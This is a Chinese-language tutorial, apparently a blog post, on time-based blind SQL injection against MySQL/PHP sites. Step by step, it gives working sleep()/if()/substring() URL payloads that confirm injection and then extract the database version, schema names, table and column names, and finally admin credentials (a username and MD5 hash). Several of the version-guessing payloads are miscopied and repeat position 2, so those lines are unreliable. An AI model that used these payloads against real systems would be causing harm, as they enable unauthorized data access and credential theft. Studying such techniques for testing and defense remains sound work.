我认为,无论是学习安全还是从事安全的人,多多少少都有些许的情怀和使命感!!!


文章目录

  • 一、MySQL+PHP 延时注入
  • 1、相关技术
  • 二、延时注入示例:3步
  • 1、判断是否存在注入
  • 2、获取MySQL版本
  • 3、获取库名
  • 4、获取所有表名
  • 5、获取字段名
  • 6、获取数据
  • 7、总结:


一、MySQL+PHP 延时注入

1、相关技术

(1)延时注入属于盲注入的一种,这种注入主要通过MySQL里面的sleep()函数进行判断结果,sleep()函数的意思是延时多少秒再去执行。

(2)sleep通常与 if一起使用,例如:select if('root'='root',sleep(3),0) ,如果字符串root等于root,则数据库延时3秒,否则输出0。

(3)延时注入的主要思路:先获取数据的长度select if(LENGTH(version())=6,sleep(3),0),再查询数据

(4)我们常用的字符:abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_. ,需要对其进行ascii码转换

(5)字符串截取函数substring()和ascii()码值转换函数的利用:select if(ascii(substring(version(),1,1))=53,sleep(3),0)

(6)函数说明:字符串截取长度:substring()、字符转ascii码:ascii()

二、延时注入示例:3步

大致可以分为三步,首先判断是否存在注入,然后判断各种长度,然后逐个查询字符

1、判断是否存在注入

(1)and/or逻辑判断:

         页面正常:?id=1 and 1=1

mysql延时注入查数据库 sql注入延时注入_substring截取字符串


         页面错误:?id=1 and 1=2

mysql延时注入查数据库 sql注入延时注入_substring截取字符串_02

(2)and/or+延时判断:

         如果存在注入的情况,则页面延时5秒执行,否则无明显延时:?id=1 and sleep(5)

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_03

         如果存在注入的情况下,则页面延时5秒执行,否则无明显延时:?id=1 and sleep(5)#

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_04

         如果存在注入的情况下,则页面延时5秒执行,否则无明显延时:?id=1 and sleep(5)--空格

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_05

2、获取MySQL版本

(1)首先判断MySQL的版本长度 :6

         当长度到6的时候,页面延时5秒执行:?id=1 and if(LENGTH(version())=6,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_MySQL+PHP 延时注入_06

(2)版本长度确认后,逐个猜解版本名中每个字符对应的ASCII码值,其中第一个字符的ASCII码值为53,转码后为5,如此类推到第6个即可:

         当第一个字符是ASCII码值为53对应的字符5的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),1,1))=53,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_07

         当第二个字符是ASCII码值为46对应的字符.的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),2,1))=46,sleep(5),0)

         当第三个字符是ASCII码值为53对应的字符5的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),2,1))=46,sleep(5),0)

         当第四个字符是ASCII码值为46对应的字符.的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),2,1))=46,sleep(5),0)

         当第五个字符是ASCII码值为52对应的字符4的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),2,1))=46,sleep(5),0)

         当第二个字符是ASCII码值为54对应的字符6的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select version()),2,1))=46,sleep(5),0)

         # 以上逐个猜解版本version()返回的字符串中1到6个字符的ascii值,其分别是 53、46、53、46、52、54,把ascii转成字符就是5.5.46

3、获取库名

(1)首先获取库名的长度:10

         当长度到10的时候,页面延时5秒返回:?id=1 and if(LENGTH(database())=10,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_延时盲注入示例/实战_08

(2)库名长度确认后,逐个猜解库名中每个字符对应的ASCII码值,其中第一个字符的ASCII码值为116,转码后为t,如此类推到第10个即可:

         当第一个字符是ASCII码值为116对应的字符t的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select database()),1,1))=116,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_MySQL+PHP 延时注入_09

         # 以上逐个猜解database()返回的字符串中1到10个字符的ascii值,其分别是 116 97 114 103 101 116 95 115 121 115 ,把ascii转成字符就是target_sys

4、获取所有表名

(1)首先利用group_concat()获取所有表名的长度:34

         当长度到34的时候,页面延时5秒返回:?id=1 and if(LENGTH((select(group_concat(TABLE_NAME)) from information_schema.TABLES where TABLE_SCHEMA=database()))=34,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_10

(2)表名长度确认后,逐个猜解表名中每个字符对应的ASCII码值,其中第一个字符的ASCII码值为97,转码后为a,如此类推到第34个即可:

         当第一个字符是ASCII码值为97对应的字符a的时候,页面延迟5秒执行:?id=1 and if(ascii(SUBSTRING((select group_concat(TABLE_NAME)from information_schema.TABLES where TABLE_SCHEMA=database()),1,1))=97,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_延时盲注_11


         # 以上逐个猜解group_concat()返回的所有表名字符串中1到34个字符的ascii值,其分别是:97 100 109 105 110 44 97 114 116 105 99 108 101 44 109 111 111 110 95 114 97 110 103 101 44 117 115 101 114 115 44 120 115 115 ,把ascii转成字符就是admin,article,moon_range,users,xss

5、获取字段名

(1)首先利用group_concat()获取所有字段名的长度:20

         当长度到20的时候,页面延时5秒返回:?id=1 and if(LENGTH((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e))=20,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_延时盲注入示例/实战_12

(2)字段名长度确认后,逐个猜解字段名中每个字符对应的ASCII码值,其中第一个字符的ASCII码值为105,转码后为i,如此类推到第20个即可:

         当第一个字符是ASCII码值为105对应的字符i的时候,页面延迟5秒执行:?id=1 and if(ascii(SUBSTRING((select group_concat(COLUMN_NAME) from information_schema.COLUMNS where TABLE_NAME=0x61646d696e),1,1))=105,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_13


         # 以上逐个猜解group_concat()返回的所有字段名字符串中1到20个字符的ascii值,其分别是:105 100 44 117 115 101 114 110 97 109 101 44 112 97 115 115 119 111 114 100 ,把ascii转成字符就是id,username,password

6、获取数据

(1)首先利用group_concat()获取数据的长度:38

         当长度到38的时候,页面延时5秒返回:?id=1 and if(LENGTH((select GROUP_CONCAT(username,0x3a,password)from admin))=38,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_延时盲注入示例/实战_14

(2)数据长度确认后,逐个猜解数据中每个字符对应的ASCII码值,其中第一个字符的ASCII码值为97,转码后为a,如此类推到第38个即可:

         当第一个字符是ASCII码值为97对应的字符a的时候,页面延迟5秒执行:?id=1 and if(ascii(substring((select GROUP_CONCAT(username,0x3a,password)from admin),1,1))=97,sleep(5),0)

mysql延时注入查数据库 sql注入延时注入_mysql延时注入查数据库_15

         # 以上逐个猜解group_concat()返回的所有数据中1到38个字符的ascii值,其分别是:97 100 109 105 110 58 101 49 48 97 100 99 51 57 52 57 98 97 53 57 97 98 98 101 53 54 101 48 53 55 102 50 48 102 56 56 51 101 ,把ascii转成字符就是admin:e10adc3949ba59abbe56e057f20f883e

7、总结:

(1)先查长度,后逐个猜解字符

(2)查长度用到的函数:length()/group_concat()

(3)逐个猜解字符用到的函数:substring(),其中第一个参数是待截取的string字符串;第二个参数是start开始位置,1的意思是从左边第一位开始;第三个参数是截取字符的length长度